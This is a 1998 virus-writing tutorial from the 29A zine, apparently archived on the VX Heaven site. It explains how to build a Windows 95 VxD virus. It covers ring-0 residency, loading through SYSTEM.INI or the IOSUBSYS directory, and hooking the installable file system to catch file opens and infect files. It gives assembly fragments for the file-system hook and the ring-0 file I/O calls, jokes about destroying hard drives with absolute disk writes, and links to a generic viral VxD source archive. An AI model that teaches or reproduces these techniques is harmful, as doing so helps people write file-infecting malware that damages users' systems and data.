VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Virus oriented VxD writing tutorial

29a [2]
February 1998

[Back to index] [Comments]

This tutorial represents just a minimum introduction to VxD programming. To dominate the subject it deals with you need something more than this tutorial. Nevertheless, I've tried to explain everything very clearly, so noone stays on land ;)

What is a VxD?

Well, let's go with what we're interested on. A VxD is a 32-bit code chunk which executes in protected mode with RING-0 priviledge level. This is because they have to deal with system's resources, such as hardware devices and installed software. I hope after reaching this point there is no doubt about our intentions, right? it's about writing a VxD to control installed software (of course!). To achieve this, we'll pinch the system where we can cause more harm, the file system.

How to start

Before getting on to work we must get some tools. This software is available in the Microsoft Developer Network and a couple places more. You will need to get your hands on them if you're interesting on writing VxDs.

Since the first viruses for Windows95 written as VxD sources started to go around, I've found many people who look for the includes needed to compile these sources. You will need the following files from the SDK:

in this file you can find the macros and the defines of the Virtual Machine Manager services.
only if you need to debug.
this file declares the services which provide access to many Windows functions, such as MessageBox.
they're only necessary if we want to fuck around with the Windows95 file system.

The include files appear in the source between the .xlist and .list directrices.

Writing a VxD

Writing a VxD is something extremely easy if we use a generic source on which we will add our code. Let's divide the work into several stages, this way we may install and test the virus once we've completed each stage.

First start with a generic VxD which contains the segment, VxD and control process declares. Later add the initialization procedure in real mode which is, as we will see, the well-known residency check. Now write the VxD initialization and file-hooking processes. And finally write the remaining VxD procedures.

VxD segments

Inside the VxD we can find five different types of segments, each of them with its own characteristics. So as to declare these segments we can use the following macros:

also called _LTEXT, this is the protected mode code segment. The declare of this segment is compulsory.
also called _LDATA, they declare the data segment for global use in the VxD. It's also needed to declare it.
also called _ITEXT. These two macros define the beginning and the end of the protected mode initialization code segment. This segment is optional and is discarded once completed the initialization (after receiving the Init_Complete message).
also called _IDATA, here we may write all the necessary data for the initialization, which are discarded once the Init_Complete message is received. Its use is optional.
this optional segment, called also _RTEXT, contains the procedure which the Virtual Machine Manager will call before loading the rest of the VxD. It is discarded once the procedure returns.

All these segments, except for _RTEXT (real mode initialization), are protected mode segments over a flat memory model. This means offsets are 32-bit and we will have to use the "offset32" macro in all the places in which we used "offset" before. Now CS, DS, ES and SS can't be modified, but instead we can use FS and GS.

VxD declaration

In order to declare our VxD we'll use the following macro:

Declare_Virtual_Device name, major version, minor version, control procedure, device-ID, init order, V86 API handler, protected mode API handler

Fuck, at first sight it looks a terrible thing, but lemme write an example, which i'm sure will change this first impression. We'll declare a VxD named ViRuS, which will be 1.0 version of our virus.

Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,

As you can see I haven't used the last parameters, as we ain't neither interested in providing an API for other programs nor in init order (later?).


It is a number which lets us differ an VxD from other. This is necessary if the VxD provides other programs an API or if it provides services to other VxDs. In our case we'll use Undefined_Device_ID as ID.

VxD Control Procedure

The Virtual Machine Manager sends control messages to the VxD using this procedure. This way it notifies several VxDs about certain events. Followin our last example, our control procedure would look like this:

BeginProc VxD_Control ; Name of control procedure which we
; declared with the VxD

Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init
Control_Dispatch Device_Init, ViRuS_Device_Init

EndProc VxD_Control

By doing this we're declaring which procedures will run whenever certain system control messages are received. That is, run the ViRuS_Critical_Init procedure when a Sys_Critical_Init is received, and whenever a Device_Init message is received, run the ViRuS_Device_Init procedure.

System Control Messages

As we have said, the Virtual Machine Manager sends messages to VxDs so as to notify about certain changes in the system. There are many different messages, but, as we are only beginners, we are interested just in a few:

this is the first message our VxD will receive. As interruptions haven't been enabled yet, neither Simulate_Int nor Exec_Int may be used. Other init services are at our disposal, such as, Get_Exec_Path, which will provide us with the directory to install our VxD.
second message, which tells us interruptions are available now. It will be there, where we'll hang to the file system.
third and last message related to system init. On return from the procedure which controls this message, the Virtual Machine Manager will discard the segments which contain code and data for the init (_ITEXT and _IDATA respectively).
this is the first message we will get on system shut down. Although interruptions are enabled, the services Simulate_Int and Exec_Int mustn't be used.
last shut down message, everything is clear...

In order to tell Windows95 to load our VxD we must add a line, DEVICE=VIRUS.VxD, to the [386Enh] section in the SYSTEM.INI, then copy the VxD to the \SYSTEM directory and reboot the system. Another solution is shown, for instance, in the Win95.Lizard virus by Reptile/29A, included in this issue. The trick consists on using the \IOSUBSYS directory.

Windows95 may load a VxD dinamically, which is very interesting. However it carries the use of new messages to notify the dinamic start and stop. These techniques are not included in the objectives of this article because they are part of a more advanced subject and #$%!@!!! because I don't wanna waste the rest of my life writing this! :P

Real mode initialization

Thsi is the only part of a VxD in real mode. It runs on start of VxD load an initialization process. This procedure may be used to avoid the loading of the VxD, the loading of Windows, etc. We will use it for our residency check, and avoid loading again the VxD if it was already loaded. The Virtual Machine Manager calls this procedure with the following parameters:

	AX -> VMM version number.
		AH -> major version.
		AL -> minor version.
	BX -> Flags on load.
	Duplicate_Device_ID -> a VxD with the same ID has been loaded.
	Duplicate_From_INT2F -> same as the previous one, from int 2fh.
	Loading_From_INT2F -> self explanatory :)
	ECX ->	32-bit pointer, points to the entry for the real mode
		initialization services routine, which allows things
		such as reading the registry or SYSTEM.INI.
	EDX -> pointer to int 2fh provided data, or null.
	SI -> environment segment address, as passed by MS-DOS.

Our VxD may indicate the Virtual Machine Manager to perform several functions, such as reserving physical pages, by returned parameters:

	AX -> action.

Abort_Device_Load: this is the value which we will return when the VMM tells us of a previously loaded VxD with the same VxD-ID. Prevents the VxD from being loaded without disturbing other VxDs.

Abort_Win386_Load: tells VMM that everything is screwed up and it should better not load Windows (which is nearly always) :P

Device_Load_Ok: when VMM receives this value, it understands that initialization is running with no problems, and that the loading process must continue.

No_Fail_Message: this value is used in combination with Abort_Device_Load and with Abort_Win386_Load to prevent some error messages from appearing as a result of aborting Win or VxD loading.

BX -> points to an array with the numbers of the pages to reserve for the VxD. This array ends in a NULL and contains pages ranging from 0000h to 0100h. If we don't want to reserve any pages, this value is kept equal to 0000h.

EDX -> reference data, by now we'll set it to 00000000h.

SI -> instance data, we'll also set it to 0000h.

VMM services of our interest

The Virtual Machine Manager is the heart of the operating system, as it is it the encharged to manage every virtual machine (hence, VMM). Moreover, it offers several services, some of which I'll describe as an example.

Get in EBX a handle about the VM being executed right now.
	VMMcall	Get_Cur_VM_Handle
	mov	[VM_handle],ebx
Get in EBX a handle about the system VM.
	VMMcall Get_Sys_VM_Handle
	mov	[SysVM_handle],ebx
Get info about the VMM version.
	VMMcall Get_VMM_Version
	mov	[Major],ah	; Major version number
	mov	[Minor],al	; Minor version number
	mov	[Debug],ecx	; Revision number
This great function provides us with the complete path to the directory where Windows mantains the system files such as SYSTEM.INI.
	VMMcall Get_Config_Directory
	mov	[win_path],edx
Get a pointer to the path where Windows keeps the VMM32.VXD file. This will be the best directory regarding to save our viral VxD, hidden between system files in \SYSTEM.
	VMMcall Get_Exec_Path
	mov	[path_ptr],edx
	mov	[length],ecx

The ECX register keeps the number of characters in the path string, including last backlash "".

Allocate memory in system's heap.
	VMMcall _HeapAllocate,<#bytes,flags>

	or	eax,eax		; eax = 00h if error
	jz	not_allocated
	mov	[block_ptr], eax; Pointer to allocated block

	#bytes	-> specifies number of bytes to allocate
	flags	-> refers to the following flags:
allocate a memory block in a locked zone, only if using MS-DOS or BIOS functions in order to page.
this flag can only be specified during initialization. It allocates a memory block which will be automatically freed once init is completed.
the block is allocated in a paged memory zone.
the allocated block is initialized with 00h's.
Free a memory block allocated with last function.
	VMMcall _HeapFree,<block_ptr,flags>

	or	eax,eax		; eax = 00h if error
	jz	error
Add a new handler to a V86 interruption. Gollum virus uses this service in order to monitor calls to the interrupt 21h.
	mov	eax,int_number		; Int to hook
	mov	esi,OFFSET32 my_handler	; Pointer to our handler
	VMMcall Hook_V86_Int_Chain
	jc	error			; Carry set if error encountered

System calls new controller like this:

	mov	eax,int_number		; Interruption
	mov	ebx, VM			; Running VM handler
	mov	ebp, OFFSET32 crs	; Pointer to the Client_Reg_Struc
	call	[my_handler]

	jc	pass_to_next		; Carry set if the funciton wasnt
					; dispensed

We also have an Unhook_V86_Int_Chain, whose mission is to free the interruption handler just installed.

	mov	eax,int_number		; Int number
	mov	esi,OFFSET32 Hook_Proc	; Address to the procedure which
					; will be erased from the chain

	VMMcall	Unhook_V86_Int_Chain
	jc	error			; Carry set if error encountered

Installable File System

Here we have all those functions which we continuously use in MS-DOS and allow us to open files, read them, etc... it will be here where we will hook our virus so as to monitor every operation the system will perform on files in order to infect them. But let's go step by step.

To perform our operations on files we will use a service which will provide us with the most common functions such as read, write, etc. Here it is:

	mov	eax,R0_OPENCREATFILE	; Function to call

	; Requiered Params
	mov	cx,0			; - Attributes
	mov	bx,2			; - Flags
	mov	dx,0011h		; - Action and special flags
	mov	esi,OFFSET32 filename	; - Guess what??? ;)

	VxDCall IFSMgr_Ring0_FileIO	; And finally, the call

Then the only thing we need in order to start is to know how to call every function and how to pass the params. Well, this is the I/O form of some of the functions we will mostly use...

We will use this function to open or create files. Input params are:
BX -> open mode and flags *
CX -> attributes
DH -> special flags (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> action to perform *
ESI -> pointer to the filename string

And output parameters are:

if CF=0

EAX -> file handle
ECX -> performed action *

if CF=1 error

* = Check int 21h function 6ch
With R0_READFILE we'll read bytes from a previously opened file (with the R0_OPENCREATEFILE call). Following parameters are expected:
EBX -> file handle
ECX -> bytes to read
EDX -> place on file where to start reading
ESI -> pointer to buffer where to write data


if CF=0 then ECX = number of read bytes
if CF=1 error
That is, write into a file, params are:
EBX -> file handle
ECX -> bytes to write
EDX -> place in file where to start writing
ESI -> pointer to the data we want to write


if CF=0 then ECX = number of written bytes
if CF=1 error
In order to close a just infected file ;) The input params are:
EBX -> file handle


if CF=0 file was closed ok
if CF=1 error (AX = errorcode)
I'm sure we'll find it useful. Use these parameters:
EBX -> file handle

As a result:

if CF=0 then EAX = file size in bytes
if CF=1 error (AX = errorcode)

And well, we could start now, however we'll still need some more, such as FileAttributes, RenameFile, DeleteFile, or GetDiskFreeSpace. As a colorful note we also have WriteAbsoluteDisk and ReadAbsoluteDisk to fuck around a bit if we don't like hard drives... :)

So we already know how to get on files, now we need to know how to hook up to the File System so we can monitor its activity. We'll use an IFS manager service, like this:

	mov	eax,OFFSET32 hook_procedure 
	push	eax 
	VxDCall	IFSMgr_InstallFileSystemApiHook 
	add	esp,0004h 
	or	eax,eax 
	jz	error
	mov	dword ptr [prev_hook],eax
	;Continue initialization process

This way we tell the file system the address of our monitor procedure. Lets see an example on writing this procedure...


	; Follow C calls rules
	push	ebp
	mov	ebp,esp
	sub	esp,20h

; At this point we can address the following params using
; the stack:

; ebp+00h -> saved EBP value.
; ebp+04h -> return address.
; ebp+08h -> supplies the address of the FSD function that
; is to be called for this API.
; ebp+0Ch -> supplies the function that is being performed.
; ebp+10h -> supplies the 1-based drive the operation is being
; performed on (-1 if UNC).
; ebp+14h -> supplies the kind of resource the operation is being
; performed on.
; ebp+18h -> supplies the codepage that the user string was
; passed in on.
; ebp+1Ch -> supplies pointer to IOREQ structure.

; Total 20h bytes

; Next we'll do is check if this call has been performed by
; the virus while infecting a file

; Using a switch, we'll avoid dropping into an endless loop.

	cmp	dword ptr [our_own_call],"BUSY"
	je	exit_FS_hook

; This is the moment in which we check the function being called

	cmp	dword ptr [ebp+0Ch],IFSFN_OPEN
	je	virus_OPEN_FILE


	mov	eax,dword ptr [ebp+1Ch]
	push	eax
	mov	eax,dword ptr [ebp+18h]
	push	eax
	mov	eax,dword ptr [ebp+14h]
	push	eax
	mov	eax,dword ptr [ebp+10h]
	push	eax
	mov	eax,dword ptr [ebp+0Ch]
	push	eax
	mov	eax,dword ptr [ebp+08h]
	push	eax

; Finally let's call last IFS monitor procedure

	mov	eax,dword ptr [Prev_IFS_Hook]
	call	dword ptr [eax]

; The procedure is responsible for clearing the stack before
; RETurning the control to the caller

	add	esp,00000018h

; RETurn


Cannonicalized paths

Every path IFS manager passes to the FSD's is in Unicode. A cannonicalized path has quite different structure from that of C:\DOS we know so well ;)

This structure composes of:

1 WORD with the path's length (including this WORD but not the final NULL character).

1 WORD with the offset of the path element of the string, each path element keeps info about a path's part.

Various path elements. Their structure is composed of 1 WORD with the pathname length (including the self WORD) followed by an Unicode string with the name of that path element.

All cannonicalized paths contain a complete path from the partition root.

Installable File System services

Some of these services have the format of a call in C so parameters are actually saves in the stack, depending on the function's necessities. Other services are written to be called from ASM, hence loading the params in the pertinent registers. The only service which can be useful for now is IFSMgr_GetVersion, which allows us to check IFS's version.


There are now input parameters


If CF=0 then EAX keeps the IFS manager version number
If CF=1 error

Generic viral VxD

This is an example for a generical viral VxD, over which to write the rest of the code. The project is composed of the following files:

ASM source with the viral VxD
Module definition file
Linker specifications file
Project file

Get the archive with the sources of example (2.5Kb)

			I'm not in the business... ... I am the business.
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka